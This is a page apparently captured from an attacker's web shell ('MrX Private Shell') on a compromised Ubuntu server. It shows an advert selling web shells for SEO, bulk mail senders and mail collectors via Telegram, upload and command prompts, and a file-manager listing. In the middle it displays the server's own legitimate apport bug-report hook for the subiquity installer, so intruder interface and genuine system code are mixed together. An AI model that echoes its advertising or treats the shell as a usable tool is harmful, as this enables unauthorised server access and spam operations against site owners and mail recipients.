__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
"""Send reports about subiquity to the correct Launchpad project."""

import os
import re

from apport import Report, hookutils
from apport.ui import HookUI


def get_journal(report: Report, log_map: dict[str, str]) -> None:
    """Get installer environment journal log.

    Appends the installer specific journal to the log map if it exists,
    otherwise appends the system journal to the report directly.
    """
    installer_journal = "/var/log/installer/installer-journal.txt"
    if os.path.exists(installer_journal):
        log_map["InstallerJournal"] = installer_journal
    else:
        report["SystemJournal"] = hookutils.recent_syslog(re.compile("."))


def get_revision(debug_log_contents: str) -> str:
    """Get subiquity revision from debug log contents.

    Returns revision found (e.g. "1234") or "unknown" if not found.
    """
    # Revision information is always in the first line of the log file
    first_line = debug_log_contents.splitlines()[0]
    marker = "Starting Subiquity server revision"
    if marker in first_line:
        revision = first_line.split(marker)[1].strip()
    else:
        revision = "unknown"

    return revision


def add_info(report: Report, unused_ui: HookUI) -> None:
    """Package hook entry point."""
    # Check if the snap was updated
    # TODO: Add logic to support this outside of the live environment.
    #       It may be possible someone wants to report a bug against the
    #       installer after first boot.
    report["SnapUpdated"] = str(os.path.exists("/run/subiquity/updating"))

    # rewrite this section so the report goes to the project in Launchpad
    report[
        "CrashDB"
    ] = """\
{
    "impl": "launchpad",
    "project": "subiquity",
    "bug_pattern_url": "http://people.canonical.com/"
    "~ubuntu-archive/bugpatterns/bugpatterns.xml",
}
"""

    # add in hardware information
    hookutils.attach_hardware(report)

    # This key is important for checking revision information later
    debug_log_key = "InstallerServerLog"

    # static subiquity generated logs
    log_map = {
        debug_log_key: "/var/log/installer/subiquity-server-debug.log",
        "InstallerServerLogInfo": "/var/log/installer/subiquity-server-info.log",
        "InstallerClientLog": "/var/log/installer/subiquity-client-debug.log",
        "InstallerClientLogInfo": "/var/log/installer/subiquity-client-info.log",
        "CurtinLog": "/var/log/installer/curtin-install.log",
        "CurtinAptConfig": (
            "/var/log/installer/curtin-install/subiquity-curtin-apt.conf"
        ),
        "CurtinCurthooksConfig": (
            "/var/log/installer/curtin-install/subiquity-curthooks.conf"
        ),
        "CurtinExtractConfig": (
            "/var/log/installer/curtin-install/subiquity-extract.conf"
        ),
        "CurtinInitialConfig": (
            "/var/log/installer/curtin-install/subiquity-initial.conf"
        ),
        "CurtinPartitioningConfig": (
            "/var/log/installer/curtin-install/subiquity-partitioning.conf"
        ),
        "ProbeData": "/var/log/installer/block/probe-data.json",
        "Traceback": "/var/log/installer/subiquity-traceback.txt",
        "NetplanInstallerConfig": "/etc/netplan/00-installer-config.yaml",
        "NetplanSnapdConfig": "/etc/netplan/00-snapd-config.yaml",
    }

    # Add journal log
    get_journal(report, log_map)

    # Add ubuntu-desktop-bootstrap information if available
    udb_log = os.path.realpath("/var/log/installer/ubuntu_bootstrap.log")
    if os.path.exists(udb_log):
        log_map["BootstrapLog"] = udb_log
        report.add_tags(["ubuntu-desktop-bootstrap"])
        # check for udb snap version
        udb_snap = os.path.realpath("/snap/ubuntu-desktop-bootstrap/current")
        if os.path.exists(udb_snap):
            # "current" is a symlink to the current revision and
            # os.path.realpath should have resolved it
            report["DesktopInstallerRev"] = os.path.basename(udb_snap)

    # Attach logs if they exist
    # The conventional way to attach logs would be to use the
    # hookutils.attach_file_if_exists method, but since subiquity logs
    # are mostly locked down with root r/w only then we will get a permission
    # error if the caller does not have permissions. Ask for elevated
    # permissions instead of requiring users know to run with sudo or similar
    command_mapping = {}
    for name, path in log_map.items():
        if os.path.exists(path):
            real_path = os.path.realpath(path)
            command_mapping[name] = f"cat {real_path}"

    hookutils.attach_root_command_outputs(report, command_mapping)

    # Get revision to display in the UI prompt
    # If attach_root_command_outputs fails the log won't be in the report
    revision = "unknown"
    if debug_log_key in report:
        revision = get_revision(report[debug_log_key])
    report["Package"] = f"subiquity ({revision})"
    report["SourcePackage"] = "subiquity"

    # Package and SourcePackage keys are deleted when the Snap is chosen,
    # so make a separate key to keep track of the revision
    report["SnapVersion"] = revision

    # Always set reports to private since we might collect sensitive data
    report["LaunchpadPrivate"] = "1"

Filemanager

Name Type Size Permission Actions
apache2.py File 1.77 KB 0644
aptdaemon.py File 2.81 KB 0644
cloud-init.py File 176 B 0644
libatasmart4.py File 943 B 0644
openssh-client.py File 1.18 KB 0644
openssh-server.py File 1004 B 0644
shotwell.py File 207 B 0644
source_alsa-driver.py File 187 B 0644
source_apparmor.py File 2.72 KB 0644
source_apport.py File 623 B 0644
source_bluez.py File 1.03 KB 0644
source_c2esp.py File 213 B 0644
source_console-setup.py File 374 B 0644
source_cups-browsed.py File 220 B 0644
source_cups-filters.py File 220 B 0644
source_cups.py File 328 B 0644
source_fontconfig.py File 162 B 0644
source_foo2zjs.py File 215 B 0644
source_foomatic-db.py File 219 B 0644
source_gnome-settings-daemon.py File 985 B 0644
source_gnome-shell.py File 1.59 KB 0644
source_grub2.py File 3.79 KB 0644
source_hplip.py File 213 B 0644
source_libcupsfilters.py File 222 B 0644
source_libdmx.py File 23.93 KB 0755
source_libdrm.py File 23.93 KB 0755
source_libfontenc.py File 23.93 KB 0755
source_libfs.py File 23.93 KB 0755
source_libglvnd.py File 23.93 KB 0755
source_libice.py File 23.93 KB 0755
source_libinput.py File 23.93 KB 0755
source_libmtp.py File 1.55 KB 0644
source_libpciaccess.py File 23.93 KB 0755
source_libsm.py File 23.93 KB 0755
source_libvdpau.py File 23.93 KB 0755
source_libwacom.py File 23.93 KB 0755
source_libx11.py File 23.93 KB 0755
source_libxau.py File 23.93 KB 0755
source_libxaw.py File 23.93 KB 0755
source_libxcb.py File 23.93 KB 0755
source_libxcomposite.py File 23.93 KB 0755
source_libxcursor.py File 23.93 KB 0755
source_libxdamage.py File 23.93 KB 0755
source_libxdmcp.py File 23.93 KB 0755
source_libxext.py File 23.93 KB 0755
source_libxfixes.py File 23.93 KB 0755
source_libxfont.py File 23.93 KB 0755
source_libxfontcache.py File 23.93 KB 0755
source_libxft.py File 23.93 KB 0755
source_libxi.py File 23.93 KB 0755
source_libxinerama.py File 23.93 KB 0755
source_libxkbcommon.py File 23.93 KB 0755
source_libxkbfile.py File 23.93 KB 0755
source_libxkbui.py File 23.93 KB 0755
source_libxmu.py File 23.93 KB 0755
source_libxpm.py File 23.93 KB 0755
source_libxrandr.py File 23.93 KB 0755
source_libxrender.py File 23.93 KB 0755
source_libxres.py File 23.93 KB 0755
source_libxss.py File 23.93 KB 0755
source_libxt.py File 23.93 KB 0755
source_libxtst.py File 23.93 KB 0755
source_libxv.py File 23.93 KB 0755
source_libxvmc.py File 23.93 KB 0755
source_libxxf86dga.py File 23.93 KB 0755
source_libxxf86vm.py File 23.93 KB 0755
source_linux-aws.py File 6.5 KB 0644
source_linux-azure.py File 6.5 KB 0644
source_linux-firmware.py File 6.5 KB 0644
source_linux-gcp.py File 6.5 KB 0644
source_linux-meta-aws.py File 6.5 KB 0644
source_linux-meta-azure.py File 6.5 KB 0644
source_linux-meta-gcp.py File 6.5 KB 0644
source_linux-meta-oracle.py File 6.5 KB 0644
source_linux-meta-raspi.py File 6.5 KB 0644
source_linux-meta-realtime.py File 6.5 KB 0644
source_linux-meta-riscv.py File 6.5 KB 0644
source_linux-meta.py File 6.5 KB 0644
source_linux-oracle.py File 6.5 KB 0644
source_linux-raspi.py File 6.5 KB 0644
source_linux-realtime.py File 6.5 KB 0644
source_linux-restricted-modules-aws.py File 6.5 KB 0644
source_linux-restricted-modules-azure.py File 6.5 KB 0644
source_linux-restricted-modules-gcp.py File 6.5 KB 0644
source_linux-restricted-modules-oracle.py File 6.5 KB 0644
source_linux-restricted-modules.py File 6.5 KB 0644
source_linux-riscv.py File 6.5 KB 0644
source_linux-signed-aws.py File 6.5 KB 0644
source_linux-signed-azure.py File 6.5 KB 0644
source_linux-signed-gcp.py File 6.5 KB 0644
source_linux-signed-oracle.py File 6.5 KB 0644
source_linux-signed-realtime.py File 6.5 KB 0644
source_linux-signed.py File 6.5 KB 0644
source_linux.py File 6.5 KB 0644
source_m2300w.py File 214 B 0644
source_mesa-demos.py File 23.93 KB 0755
source_mesa.py File 23.93 KB 0755
source_min12xxw.py File 216 B 0644
source_mtdev.py File 4.07 KB 0644
source_mysql-8.4.py File 3.71 KB 0644
source_nautilus.py File 898 B 0644
source_network-manager-applet.py File 2.97 KB 0644
source_network-manager.py File 2.97 KB 0644
source_papers.py File 546 B 0644
source_pixman.py File 23.93 KB 0755
source_plymouth.py File 1.38 KB 0644
source_pnm2ppa.py File 215 B 0644
source_pxljr.py File 213 B 0644
source_radeontool.py File 23.93 KB 0755
source_rastertosag-gdi.py File 223 B 0644
source_rhythmbox.py File 1.54 KB 0644
source_shadow.py File 720 B 0755
source_shim-signed.py File 1.95 KB 0644
source_shim.py File 1.95 KB 0644
source_simple-scan.py File 925 B 0644
source_splix.py File 213 B 0644
source_sudo.py File 1.13 KB 0755
source_system-config-printer.py File 229 B 0644
source_totem.py File 820 B 0644
source_ubiquity.py File 8.65 KB 0644
source_ubuntu-advantage-tools.py File 1.22 KB 0644
source_ubuntu-release-upgrader.py File 2.62 KB 0644
source_unattended-upgrades.py File 705 B 0644
source_update-manager.py File 2.49 KB 0644
source_usb-creator.py File 558 B 0644
source_wayland.py File 23.93 KB 0755
source_weston.py File 23.93 KB 0755
source_x-kit.py File 23.93 KB 0755
source_x11-apps.py File 23.93 KB 0755
source_x11-session-utils.py File 23.93 KB 0755
source_x11-utils.py File 23.93 KB 0755
source_x11-xfs-utils.py File 23.93 KB 0755
source_x11-xkb-utils.py File 23.93 KB 0755
source_x11-xserver-utils.py File 23.93 KB 0755
source_xauth.py File 23.93 KB 0755
source_xbitmaps.py File 23.93 KB 0755
source_xcb-proto.py File 23.93 KB 0755
source_xcompmgr.py File 23.93 KB 0755
source_xcursor-themes.py File 23.93 KB 0755
source_xdm.py File 23.93 KB 0755
source_xf86-input-evtouch.py File 23.93 KB 0755
source_xf86-input-mtrack.py File 23.93 KB 0755
source_xf86-input-wacom.py File 23.93 KB 0755
source_xfonts-core.py File 23.93 KB 0755
source_xfonts-utils.py File 23.93 KB 0755
source_xfs.py File 23.93 KB 0755
source_xft.py File 23.93 KB 0755
source_xinit.py File 23.93 KB 0755
source_xinput-calibrator.py File 23.93 KB 0755
source_xinput.py File 23.93 KB 0755
source_xkeyboard-config.py File 23.93 KB 0755
source_xorg-docs.py File 23.93 KB 0755
source_xorg-options-editor-gtk.py File 23.93 KB 0755
source_xorg-server.py File 23.93 KB 0755
source_xorg-sgml-doctools.py File 23.93 KB 0755
source_xorg.py File 23.93 KB 0755
source_xorgproto.py File 23.93 KB 0755
source_xrandr.py File 23.93 KB 0755
source_xrestop.py File 23.93 KB 0755
source_xserver-xorg-input-evdev.py File 23.93 KB 0755
source_xserver-xorg-input-joystick.py File 23.93 KB 0755
source_xserver-xorg-input-libinput.py File 23.93 KB 0755
source_xserver-xorg-input-mouse.py File 23.93 KB 0755
source_xserver-xorg-input-synaptics.py File 23.93 KB 0755
source_xserver-xorg-input-vmmouse.py File 23.93 KB 0755
source_xserver-xorg-input-wacom.py File 23.93 KB 0755
source_xserver-xorg-video-amdgpu.py File 23.93 KB 0755
source_xserver-xorg-video-ati.py File 23.93 KB 0755
source_xserver-xorg-video-dummy.py File 23.93 KB 0755
source_xserver-xorg-video-fbdev.py File 23.93 KB 0755
source_xserver-xorg-video-intel.py File 23.93 KB 0755
source_xserver-xorg-video-mga.py File 23.93 KB 0755
source_xserver-xorg-video-nouveau.py File 23.93 KB 0755
source_xserver-xorg-video-openchrome.py File 23.93 KB 0755
source_xserver-xorg-video-qxl.py File 23.93 KB 0755
source_xserver-xorg-video-vesa.py File 23.93 KB 0755
source_xserver-xorg-video-vmware.py File 23.93 KB 0755
source_xterm.py File 23.93 KB 0755
source_xtrace.py File 23.93 KB 0755
source_xtrans.py File 23.93 KB 0755
source_xutils-dev.py File 23.93 KB 0755
source_yelp.py File 905 B 0644
subiquity.py File 5.13 KB 0644
systemd.py File 871 B 0644
ubuntu-desktop-bootstrap.py File 3.13 KB 0644
ubuntu-drivers-common.py File 270 B 0644
udev.py File 455 B 0644
udisks2.py File 752 B 0644
vsftpd.py File 1.03 KB 0644
whoopsie.py File 703 B 0644
xserver-xorg-core.py File 23.93 KB 0755
Filemanager